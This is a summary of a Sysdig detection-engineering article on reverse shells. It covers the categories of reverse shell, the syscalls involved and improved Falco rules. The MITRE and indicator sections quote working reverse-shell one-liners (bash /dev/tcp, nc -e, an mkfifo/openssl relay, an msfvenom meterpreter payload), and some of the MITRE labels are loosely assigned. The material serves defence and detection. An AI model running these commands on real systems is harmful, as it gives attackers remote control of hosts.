Sysdig describes the anatomy of TCP reverse shells, categorizing them into three types (direct shell with network-redirected I/O, indirect shell via IPC, and direct command execution without an actual shell) and explains associated syscalls and detection challenges. The article details how Sysdig improved Falco/Sysdig rules — including new proc.stdin/stdout/stderr fields and stateful observation rules — to reduce false positives and detect complex multi-step reverse shell techniques. #Falco #Sysdig #ReverseShell
Keypoints
- Reverse shells are categorized into three TCP-based techniques: direct network-redirected I/O, indirect execution using a secondary process with IPC, and direct command execution that avoids spawning a shell.
- The core building blocks of reverse shells are execution (execve), remote connection (socket/connect), child creation (fork/clone), file descriptor manipulation (dup/dup2/dup3/fcntl), and IPC (pipe/socketpair).
- Many common payloads (bash, netcat, msfvenom/meterpreter, socat, openssl) map to these categories and can be implemented in multiple languages (Python, Go, Java, NodeJS, interpreted scripts).
- Early Falco rules that relied on dup syscall and fd types caused repeated triggers and false positives due to lack of process-level context and inability to tie redirection to a spawned shell.
- Sysdig added proc.stdin/stdout/stderr fields (type and name) to provide contextual process-level file descriptor information and reduce noise by matching process behavior rather than individual syscalls.
- Stateful observation rules in Sysdig Runtime Behavioral Analytics allow graphing multi-step syscall/IPC sequences to detect complex reverse shells (e.g., parent handling network and child executing shell via pipes/socketpair).
- Despite improvements, false positives remain possible (e.g., VS Code remote terminals, Windsurf/Cursor servers), so Sysdig TRT monitors and whitelists indicators to maintain low false-positive rates.
MITRE Techniques
- [T1059] Command and Scripting Interpreter – Used to spawn shells and execute commands remotely (e.g., “os.execl(‘/bin/sh’, ‘-i’)” and examples like “bash -i &> /dev/tcp/10.0.0.1/4242 0>&1”).
- [TA0002] Execution – Reverse shells are classified under the Execution tactic as they enable remote execution on the compromised host (“Reverse shells fall under the MITRE ATT&CK tactic Execution (TA0002)”).
- [T1104] Multi-Stage Channels – Meterpreter and staged payloads creating a network connection and subsequent command channels are referenced (Metasploit msfvenom payloads like “linux/x86/meterpreter/reverse_tcp”).
- [T1055] Process Injection / Child Process Creation – Use of fork/clone and creating child processes for handling shell execution or IPC (“Sometimes, processes need to fork or clone themselves… fork/vfork, clone/clone3”).
- [T1049] System Network Connections (Socket/Connect) – Creation of sockets and outbound connections to attacker-controlled listeners (“socket, which creates an endpoint for communication… sock.connect((SERVER_IP, SERVER_PORT))”).
- [T1564] Hide Artifacts (File and Directory Permissions / Pipes) – Use of named pipes and IPC (mkfifo and pipes) to route I/O and avoid direct shell traces (“mkfifo /tmp/s; /bin/sh -i &1 | openssl s_client -quiet -connect : > /tmp/s”).
Indicators of Compromise
- [File/Command Examples] common reverse shell commands and payloads – “bash -i &> /dev/tcp/10.0.0.1/4242 0>&1”, “nc -e /bin/sh 10.0.0.1 4242”, and “msfvenom … -f elf >reverse.elf”.
- [Binaries/Tools] relay and LotL binaries used as conduits – “socat”, “openssl s_client”, “nc”, “telnet” (used in examples for relaying and IPC).
- [Proc Fields] process STDIN/STDOUT naming pattern – example proc.stdin.name/proc.stdout.name format “127.0.0.1:35548->127.0.0.1:4242” observed for network-redirected shells.
- [IPC Artifacts] named and unnamed pipes – examples: “/tmp/s” from mkfifo usage and generic pipe/socketpair usage (and socketpair/pipe syscalls referenced).